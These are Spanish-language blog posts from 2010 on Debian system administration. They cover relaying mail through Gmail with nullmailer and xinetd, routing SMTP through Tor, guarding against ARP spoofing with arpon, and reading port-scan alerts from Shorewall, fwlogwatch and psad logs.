221 2.0.0 closing connection x65sm1999579weq.1
Connection closed by foreign host.
vlan7@sid7:~$
Destaquemos la linea siguiente, donde google se nos presenta de forma muy educada y nos llama por nuestra IP.

250-mx.google.com at your service, [83.170.92.9]
Si examinamos las cabeceras completas de nuestro correo en gmail, podremos ver que el correo se ha recibido desde dicha IP: 83.170.92.9 , que deberia ser nuestro nodo tor de salida.

[cut]
Received: from vlan7 (server51262.uk2net.com [83.170.92.9])
by mx.google.com with ESMTPS id x65sm1999579weq.1.2010.10.29.16.35.27
(version=SSLv3 cipher=OTHER);
Fri, 29 Oct 2010 16:36:24 -0700 (PDT)
Message-ID: <4ccb5a78.57edd80a.1dfc.ffff827a@mx.google.com>
Date: Fri, 29 Oct 2010 16:36:24 -0700 (PDT)
From: vlan7 <xxx.yyy@gmail.com><>xxx.yyy@gmail.com<
To: vlan7 <zzz@vlan7.org><zzz@vlan7.org>
[cut]
Hagamos una ultima comprobacion. Mostremos nuestra IP publica "torificando" a curl mediante torsocks

vlan7@sid7:~$ sudo torsocks curl ifconfig.me
83.170.92.9
vlan7@sid7:~$
Ahi esta el resultado esperado, ambas IPs coinciden :)
Suerte,
P.D. Desde aqui agradecer a Vic_Thor de Wadalbertia que me notificara que se me habia colado un hash b64 sin editar, el segundo. Grave fallo que ya ha sido subsanado. Asi que ojo con lo que publicamos por ahi!
Referencias:

Implementacion de nullmailer como MTA (relay) simple

nullmailer fue diseñado para actuar como relay simple. En mi escenario no tengo mas MTAs, asi que tengo implementado xinetd a la escucha. Cuando el trigger de nullmailer se dispara, nullmailer revisa la cola de mensajes y los reenvia mediante nullmailer-send a los smarthosts definidos en /etc/nullmailer/remotes

vlan7@sid7:~$ cat /etc/xinetd.d/gmail-smtp
# default: on
# description: Gmail SMTP wrapper for clients without SSL support
# vlan7 26-10-2010
# Based on:
# Added logging capabilities && one minor fix thanks to this guide:
# http://www.linuxfocus.org/English/November2000/article175.shtml
service gmail-smtp
{
disable = no
# bind commented. Only 1 NIC on this box. Use only_from
# bind = localhost
only_from = localhost
port = 10025
socket_type = stream
protocol = tcp
wait = no
user = root
server = /usr/bin/gmail-smtp
type = unlisted
# banner breaks communication :/
# banner = /etc/issue
log_on_failure += USERID
}
vlan7@sid7:~$ sudo cat /usr/bin/gmail-smtp
#!/bin/sh
/usr/bin/openssl s_client -connect smtp.gmail.com:465 -quiet 2>/dev/null
vlan7@sid7:~$ cat /etc/nullmailer/remotes
127.0.0.1 smtp --port=10025 --user=XXX.YYY@gmail.com --pass=********
Atencion! El archivo /etc/nullmailer/remotes es legible para todo el mundo! Asi que ojo :/
Comprobamos la conectividad con netcat:

vlan7@sid7:~$ nc -vv 127.0.0.1 10025
localhost [127.0.0.1] 10025 (?) open
220 mx.google.com ESMTP b30sm7257373wbb.22
HELP
214 2.0.0 http://www.google.com/search?btnI&q=RFC+2821 b30sm7257373wbb.22
QUIT
221 2.0.0 closing connection b30sm7257373wbb.22
sent 10, rcvd 168
vlan7@sid7:~$
xinetd OK. Probemos a enviarnos un mensaje, a ver si nullmailer lo manda OK desde localhost autenticandose contra la cuenta gmail definida en /etc/nullmailer/remotes y reeenviandolo a XXX@vlan7.org

root@sid7:/home/vlan7# echo 'Esto es un mensaje de test' |mailx XXX@vlan7.org
Vemos la cola de correo:

root@sid7:/home/vlan7# mailq
2010-10-26 23:55:03 330 bytes from <root@sid7.xxx.es>
to <xxx@vlan7.org>
Forzamos un flush de la cola:

root@sid7:/home/vlan7# nullmailer-send
Rescanning queue.
^C
Comprobamos que la cola ha sido procesada y el correspondiente log de syslog:

root@sid7:/home/vlan7# mailq
root@sid7:/home/vlan7# tail -f /var/log/syslog
Oct 26 23:56:09 sid7 xinetd[2208]: removing time
Oct 26 23:56:09 sid7 xinetd[2208]: removing time
Oct 26 23:56:09 sid7 xinetd[2208]: Swapping defaults
Oct 26 23:56:09 sid7 xinetd[2208]: readjusting service gmail-smtp
Oct 26 23:56:09 sid7 xinetd[2208]: Reconfigured: new=0 old=1 dropped=0 (services)
Oct 26 23:57:03 sid7 nullmailer[2087]: Rescanning queue.
Oct 26 23:57:03 sid7 nullmailer[2087]: Starting delivery: protocol: smtp host: 127.0.0.1 file: 1288130103.19982
Oct 26 23:57:05 sid7 nullmailer[20012]: smtp: Succeeded: 250 2.0.0 OK 1288130224 f31sm5425073wej.15
Oct 26 23:57:05 sid7 nullmailer[2087]: Sent file.
Oct 26 23:57:05 sid7 nullmailer[2087]: Delivery complete, 0 message(s) remain.
^C
Segun syslog se ha enviado OK. Para comprobar que lo hemos recibido entramos en nuestro correo y ahi lo tenemos. Todo OK.

Referencias:

lunes, 25 de octubre de 2010

Proteccion contra arp-spoofing

Un pequeño log donde intervienen arp estaticas y su monitorizacion con arpon, una buena herramienta para la proteccion de spoofing.

root@sid7:/home/vlan7# cat /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
allow-hotplug eth0
iface eth0 inet static
address 192.168.0.104
netmask 255.255.255.0
network 192.168.0.0
broadcast 192.168.0.255
#next-hop zeroshell
gateway 192.168.0.1
pre-up /etc/network/interfaces_sec
post-up /usr/sbin/arp -f /etc/sarp.conf
# dns-* options are implemented by the resolvconf package, if installed
dns-nameservers 8.8.8.8
root@sid7:/home/vlan7# cat /etc/resolv.conf
nameserver 8.8.8.8
root@sid7:/home/vlan7# netstat -nr
Kernel IP routing table
Destination Gateway Genmask Flags MSS Window irtt Iface
192.168.0.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0
0.0.0.0 192.168.0.1 0.0.0.0 UG 0 0 0 eth0
root@sid7:/home/vlan7# arp -a
? (192.168.0.1) at AA:BB:CC:DD:EE:FF [ether] PERM on eth0
root@sid7:/home/vlan7# /etc/init.d/arpon status
Checking status of anti ARP poisoning daemon: arpon running.
root@sid7:/home/vlan7# cat /etc/sarp.conf
192.168.0.1
AA:BB:CC:DD:EE:FF
root@sid7:/home/vlan7# cat /etc/arpon.sarpi
# Example of arpon.sarpi
#
192.168.0.1
AA:BB:CC:DD:EE:FF #zeroshell
root@sid7:/home/vlan7# cat /var/log/arpon/arpon.log
08:14:37 - Wait link connection on eth0...
08:14:39 - SARPI on dev(eth0) inet(192.168.0.117) hw(FF:EE:DD:CC:BB:AA)
08:14:39 - Protects these Arp Cache's entries:
08:14:39 - 1) 192.168.0.1 -> AA:BB:CC:DD:EE:FF
08:14:39 - Arp Cache restore from /etc/arpon.sarpi...
08:14:39 - Arp Cache refresh timeout: 10 minuts.
08:14:39 - Realtime Protect actived!
08:15:52 - Request << AA:BB:CC:DD:EE:FF
08:15:52 - Reply >> Send to 192.168.0.1 -> AA:BB:CC:DD:EE:FF
[cut]
08:24:39 - Refresh these Arp Cache entries:
08:24:39 - 1) 192.168.0.1 -> AA:BB:CC:DD:EE:FF
[cut]
vlan7@sid7:~$ sudo dpkg -l |grep arpon
ii arpon 2.0-2 versatile anti ARP poisoning daemon
vlan7@sid7:~$

La rutina diaria. Ya nos han vuelto a hacer un escaneo de puertos...

Examinando el correo enviado a traves de nullmailer, hey no hay necesidad de montar un Postfix solo para implementar un relay, aunque pase por inet. nullmailer se autentica, contra gmail en este caso.

Yo soy la 192.168.0.117 y soy escaneado por la 192.168.0.101, fwlogwatch nos alerta de ello y recibimos el correspondiente correo electronico.


fwlogwatch ALERT: 65 packet(s) from 192.168.0.101
Recibidos
X
Responder
de XXX.YYY@gmail.com
para ZZZ@vlan7.org
fecha 25 de octubre de 2010 15:16
asunto fwlogwatch ALERT: 65 packet(s) from 192.168.0.101
enviado por gmail.com
firmado por gmail.com
ocultar detalles 15:16 (1 hora antes)
fwlogwatch ALERT on sid7: 65 packet(s) from 192.168.0.101 to 192.168.0.117
65 paquetes enviados a nullmailer por el SW logcheck, que previamente habria recibido la alerta por fwlogwatch, una herramienta que a mi me funciona muy bien con Shorewall para examinar de un vistazo los logs importantes a nivel de seguridad.

No me gusta publicar MACs, asi que edito parte de los eventos syslog que nos llegan al correo, dejando solo una de las lineas, ya que despues las mostraremos con un log que nos explica a mas alto nivel, por asi decirlo, todos esos eventos de syslog a nivel kernel mediante el SW psad [port scan attack detector]

sid7.v7.XXX.es 2010-10-25 16:02 System Events
Recibidos
X
Responder
de XXX.YYY@gmail.com
para ZZZ@vlan7.org
fecha 25 de octubre de 2010 16:02
asunto sid7.v7.XXX.es 2010-10-25 16:02 System Events
enviado por gmail.com
firmado por gmail.com
ocultar detalles 16:02 (24 minutos antes)
This email is sent by logcheck. If you no longer wish to receive
such mail, you can either deinstall the logcheck package or modify
its configuration file (/etc/logcheck/logcheck.conf).

System Events
=-=-=-=-=-=-=
Oct 25 15:16:19 sid7 kernel: [104761.341511] Shorewall:net2fw:DROP:IN=eth0 OUT= MAC=[CUT] SRC=192.168.0.101 DST=192.168.0.117 LEN=40 TOS=0x00 PREC=0x00 TTL=127 ID=61700 PROTO=TCP SPT=63436 DPT=10 WINDOW=8190 RES=0x00 SYN URGP=0

[CUT]

Oct 25 15:16:20 sid7 fwlogwatch: ALERT: 65 attempts from 192.168.0.101
Oct 25 15:16:38 sid7 psad: src: 192.168.0.101 signature match: "POLICY HP JetDirect LCD commnication attempt" (sid: 568) tcp port: 9100
Oct 25 15:16:38 sid7 psad: src: 192.168.0.101 signature match: "MISC VNC communication attempt" (sid: 100202) tcp port: 5900
Oct 25 15:16:38 sid7 psad: src: 192.168.0.101 signature match: "MISC MS Terminal Server communication attempt" (sid: 100077) tcp port: 3389
Oct 25 15:16:38 sid7 psad: src: 192.168.0.101 signature match: "DOS MSDTC communication attempt" (sid: 1408) tcp port: 3372
Oct 25 15:16:38 sid7 psad: src: 192.168.0.101 signature match: "MISC Microsoft SQL Server communication attempt" (sid: 100205) tcp port: 1433
Oct 25 15:16:38 sid7 psad: scan detected: 192.168.0.101 -> 192.168.0.117 tcp: [10-10000] flags: SYN tcp pkts: 68 DL: 2
Todas las herramientas nombradas las he podido testear en un sistema corriendo Debian SID. Durante toda la entrada he enlazado las paginas oficiales de los proyectos, pero todos ellos se encuentran empaquetados en los repositorios oficiales de Debian, al menos en la rama sid. Para mas informacion siempre podremos acudir al buscador oficial de Debian.

Comentar que psad utiliza firmas del conocido IDS Snort y del venerable p0f. De vez en cuando puedo observar mensajes de syslog tal que asi:

Oct 25 21:29:44 sid7 psad: imported valid icmp types and codes
Oct 25 21:29:44 sid7 psad: imported p0f-based passive OS fingerprinting signatures
Oct 25 21:29:44 sid7 psad: imported TOS-based passive OS fingerprinting signatures
Oct 25 21:29:44 sid7 psad: imported original Snort rules in /etc/psad/snort_rules/ for reference info
Oct 25 21:29:44 sid7 psad: imported 205 psad Snort signatures from /etc/psad/signatures
A continuacion vemos un informe mas detallado en otro log similar recibido en mi correo y enviado por psad. Veremos que el FW descarta y loguea un total de 204 paquetes, que esta vez yo soy la IP 192.168.0.104 y el atacante es la 192.168.0.110 y que las caracteristicas de este log son muy similares a las del anterior, si no identicas, en las firmas detectadas por el IDS. Dos intentos de autenticacion, un intento de DoS y unos pocos sin catalogar. Todos ellos contra servicios inexistentes en mi maquina.
Este es el log recibido en el correo:

[psad-alert] DL3 src: 192.168.0.110 dst: 192.168.0.104
Recibidos X

Responder

XXX.YYY@gmail.com para usuario 
mostrar detalles 01:28 (1 hora antes)

=-=-=-=-=-=-=-=-=-=-=-= Sun Oct 31 01:28:40 2010 =-=-=-=-=-=-=-=-=-=-=-=


Danger level: [3] (out of 5)

Scanned TCP ports: [10-10000: 204 packets]
TCP flags: [SYN: 204 packets, Nmap: -sT or -sS]
iptables chain: INPUT (prefix "Shorewall:net2fw:DROP:"), 204 packets

Source: 192.168.0.110
DNS: [No reverse dns info available]

Destination: 192.168.0.104
DNS: [No reverse dns info available]

Overall scan start: Sun Oct 31 01:28:29 2010
Total email alerts: 1
Complete TCP range: [10-10000]
Syslog hostname: sid7

Global stats: chain: interface: TCP: UDP: ICMP:
INPUT eth0 204 0 0


[+] TCP scan signatures:

"POLICY HP JetDirect LCD commnication attempt"
dst port: 9100 (no server bound to local port)
flags: SYN
sid: 568
chain: INPUT
packets: 3
classtype: misc-activity

"MISC VNC communication attempt"
dst port: 5900 (no server bound to local port)
flags: SYN
psad_id: 100202
chain: INPUT
packets: 3
classtype: attempted-admin

"MISC MS Terminal Server communication attempt"
dst port: 3389 (no server bound to local port)
flags: SYN
psad_id: 100077 (derived from: 1447 1448 2418)
chain: INPUT
packets: 3
classtype: misc-activity

"DOS MSDTC communication attempt"
dst port: 3372 (no server bound to local port)
flags: SYN
sid: 1408
chain: INPUT
packets: 3
classtype: attempted-dos

"MISC Microsoft SQL Server communication attempt"
dst port: 1433 (no server bound to local port)
flags: SYN
psad_id: 100205
chain: INPUT
packets: 3
classtype: attempted-admin

[+] Whois Information (source IP):
[cut]
Recibo un total de 4 mails de este tipo, enviados los 4 de golpe en un flush de la cola de correo segun puedo comprobar en los logs de syslog, que son irrelevantes para esta entrada. Si que tengo pendiente analizar el siguiente log de /var/log/messages

Oct 31 02:01:29 sid7 kernel: [  174.732092] martian destination 0.0.0.0 from 192.168.0.110, dev eth0
Oct 31 02:01:29 sid7 kernel: [ 174.812241] martian destination 0.0.0.0 from 192.168.0.110, dev eth0
Oct 31 02:01:29 sid7 kernel: [ 174.892391] martian destination 0.0.0.0 from 192.168.0.110, dev eth0
Oct 31 02:01:29 sid7 kernel: [ 174.972541] martian destination 0.0.0.0 from 192.168.0.110, dev eth0
Oct 31 02:01:30 sid7 kernel: [ 176.068854] martian destination 0.0.0.0 from 192.168.0.110, dev eth0
Oct 31 02:01:30 sid7 kernel: [ 176.149009] martian destination 0.0.0.0 from 192.168.0.110, dev eth0
Oct 31 02:01:30 sid7 kernel: [ 176.229154] martian destination 0.0.0.0 from 192.168.0.110, dev eth0
Oct 31 02:01:30 sid7 kernel: [ 176.309299] martian destination 0.0.0.0 from 192.168.0.110, dev eth0
Si alguien conoce alguna alternativa a estos paquetes open source para detectar un escaneo de puertos se agradecen comentarios.

Suerte,